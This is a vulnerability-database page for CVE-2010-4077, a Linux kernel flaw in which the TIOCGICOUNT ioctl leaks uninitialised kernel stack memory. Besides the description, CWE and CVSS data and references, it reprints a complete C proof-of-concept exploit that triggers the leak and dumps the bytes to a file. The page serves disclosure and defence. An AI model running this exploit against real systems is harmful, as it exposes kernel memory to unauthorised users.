CVE-2010-4077 : Detail

CVE-2010-4077

A01-Broken Access Control
0.05%V3
Local
2010-11-29
14h00 +00:00
2010-12-10
09h00 +00:00
CVE.org
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CVE Descriptions

The ntty_ioctl_tiocgicount function in drivers/char/nozomi.c in the Linux kernel 2.6.36.1 and earlier does not properly initialize a certain structure member, which allows local users to obtain potentially sensitive information from kernel stack memory via a TIOCGICOUNT ioctl call.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics Score Severity CVSS Vector Source
V2 1.9 AV:L/AC:M/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 16973

Publication date : 2011-03-13 23h00 +00:00
Author : prdelka
EDB Verified : No

/* Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak * ================================================ * Information leak exploit for CVE-2010-4077 which * leaks kernel stack space back to userland due to * uninitialized struct member "reserved" in struct * serial_icounter_struct copied to userland. uses * ioctl to trigger memory leak, dumps to file and * displays to command line. * * -- prdelka * */ #include <termios.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/serial.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char* argv[]) { int fd, ret = 0, i; struct serial_icounter_struct buffer; printf("[ Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit\n"); if(argc < 2){ printf("[ You need to supply a device name e.g. /dev/ttyS0\n"); exit(-1); }; memset(&buffer,0,sizeof(buffer)); if((fd = open(argv[1], O_RDONLY)) == -1){ printf("[ Couldn't open %s\n",argv[1]); exit(-1); } if((ioctl(fd, TIOCGICOUNT, &buffer)) == -1){ printf("[ Problem with ioctl() request\n"); exit(-1); } close(fd); for(i=0;i<=9;i++){ printf("[ int leak[%d]: %x\n",i,buffer.reserved[i]); }; if((fd = open("./leak", O_RDWR | O_CREAT, 0640)) == -1){ printf("[ Can't open file to write memory out\n"); exit(-1); } for(i=0;i<=9;i++){ ret += write(fd,&buffer.reserved[i],sizeof(int)); } close(fd); printf("[ Written %d leaked bytes to ./leak\n",ret); exit(0); }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.6.36.1

References

http://www.openwall.com/lists/oss-security/2010/09/25/2
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2010/10/06/6
Tags : mailing-list, x_refsource_MLIST
http://www.securityfocus.com/bid/45059
Tags : vdb-entry, x_refsource_BID
http://www.redhat.com/support/errata/RHSA-2011-0007.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.redhat.com/support/errata/RHSA-2010-0958.html
Tags : vendor-advisory, x_refsource_REDHAT
http://securityreason.com/securityalert/8129
Tags : third-party-advisory, x_refsource_SREASON
http://www.openwall.com/lists/oss-security/2010/10/07/1
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/42890
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.openwall.com/lists/oss-security/2010/10/25/3
Tags : mailing-list, x_refsource_MLIST